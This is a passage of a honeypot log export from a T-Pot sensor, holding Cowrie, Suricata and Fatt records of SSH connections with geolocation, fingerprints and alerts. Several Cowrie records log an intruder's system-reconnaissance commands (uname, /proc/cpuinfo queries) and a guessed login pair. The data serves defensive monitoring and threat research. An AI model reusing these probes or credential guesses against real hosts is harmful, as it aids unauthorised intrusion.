"timestamp": "2021-09-20T11:50:34.018475Z", "@timestamp": "2021-09-20T11:50:34.018Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32193	176.122.188.154	109.199.241.180	Fatt	2021-09-20 14:50:34.043926+03	2021-09-20 15:00:03.162717+03	{"_id": "dAYLA3wBvYTbRNuEJUmt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 60614, "dest_port": 22, "timestamp": "2021-09-20T11:50:34.043926", "@timestamp": "2021-09-20T11:50:34.043Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32194	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:34.462662+03	2021-09-20 15:00:03.163716+03	{"_id": "dgYLA3wBvYTbRNuEJ0kM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:34.462662Z", "@timestamp": "2021-09-20T11:50:34.462Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32195	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:50:34.044483+03	2021-09-20 15:00:03.165717+03	{"_id": "eAYLA3wBvYTbRNuEJ0kN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "7b4aa9c6302f", "@version": "1", "timestamp": "2021-09-20T11:50:34.044483Z", "@timestamp": "2021-09-20T11:50:34.044Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32196	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:34.745459+03	2021-09-20 15:00:03.166716+03	{"_id": "eQYLA3wBvYTbRNuEJ0kN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "107.173.209.238", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "78144d271630", "@version": "1", "duration": 0.28342533111572266, "duplicate": true, "timestamp": "2021-09-20T11:50:34.745459Z", "@timestamp": "2021-09-20T11:50:34.745Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32197	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:50:34.814296+03	2021-09-20 15:00:03.168717+03	{"_id": "egYLA3wBvYTbRNuEJ0kN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.login.failed", "message": "login attempt [manager/manager123] failed", "session": "7b4aa9c6302f", "@version": "1", "password": "manager123", "username": "manager", "timestamp": "2021-09-20T11:50:34.814296Z", "@timestamp": "2021-09-20T11:50:34.814Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32198	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:35.74664+03	2021-09-20 15:00:03.169716+03	{"_id": "fQYLA3wBvYTbRNuEKkn1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "107.173.209.238", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "78144d271630", "@version": "1", "duration": 0.5109124183654785, "duplicate": true, "timestamp": "2021-09-20T11:50:35.746640Z", "@timestamp": "2021-09-20T11:50:35.746Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32199	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:35.236366+03	2021-09-20 15:00:03.170717+03	{"_id": "fAYLA3wBvYTbRNuEKkn1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:35.236366Z", "@timestamp": "2021-09-20T11:50:35.236Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32200	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:50:35.948352+03	2021-09-20 15:00:03.171717+03	{"_id": "fwYLA3wBvYTbRNuELEl4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:50:35.948352Z", "@timestamp": "2021-09-20T11:50:35.948Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32201	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:36.051744+03	2021-09-20 15:00:03.173716+03	{"_id": "gQYLA3wBvYTbRNuELkne", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:36.051744Z", "@timestamp": "2021-09-20T11:50:36.051Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32202	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:50:36.054444+03	2021-09-20 15:00:03.174717+03	{"_id": "ggYLA3wBvYTbRNuELkne", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "7b4aa9c6302f", "@version": "1", "duration": 2.204085111618042, "timestamp": "2021-09-20T11:50:36.054444Z", "@timestamp": "2021-09-20T11:50:36.054Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32203	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:37.345474+03	2021-09-20 15:00:03.175715+03	{"_id": "iQYLA3wBvYTbRNuEMknI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:37.345474Z", "@timestamp": "2021-09-20T11:50:37.345Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32204	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:37.629008+03	2021-09-20 15:00:03.176715+03	{"_id": "igYLA3wBvYTbRNuEMknI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "107.173.209.238", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "78144d271630", "@version": "1", "duration": 0.2836182117462158, "duplicate": true, "timestamp": "2021-09-20T11:50:37.629008Z", "@timestamp": "2021-09-20T11:50:37.629Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32205	176.122.188.154	109.199.241.180	Suricata	2021-09-20 14:50:34.043926+03	2021-09-20 15:00:03.178716+03	{"_id": "cgYLA3wBvYTbRNuEJEmm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:50:33.678012+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1927499542517884, "payload": "AAADzAYUdcvkZmn8Fwdah+hTBxDz6gAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 60614, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:50:34.043926Z", "@timestamp": "2021-09-20T11:50:34.043Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......u..fi...Z..S.......(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
32206	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:50:34.018537+03	2021-09-20 15:00:03.179716+03	{"_id": "cwYLA3wBvYTbRNuEJUms", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.122.188.154", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60614, "timestamp": "2021-09-20T11:50:34.018537", "@timestamp": "2021-09-20T11:50:34.018Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32207	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:34.199327+03	2021-09-20 15:00:03.180717+03	{"_id": "dwYLA3wBvYTbRNuEJ0kM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 22, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "107.173.209.238", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "78144d271630", "@version": "1", "duration": 0.7947564125061035, "duplicate": true, "timestamp": "2021-09-20T11:50:34.199327Z", "@timestamp": "2021-09-20T11:50:34.199Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32208	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:34.462115+03	2021-09-20 15:00:03.181716+03	{"_id": "dQYLA3wBvYTbRNuEJ0kM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:34.462115Z", "@timestamp": "2021-09-20T11:50:34.462Z", "t-pot_ip_ext": 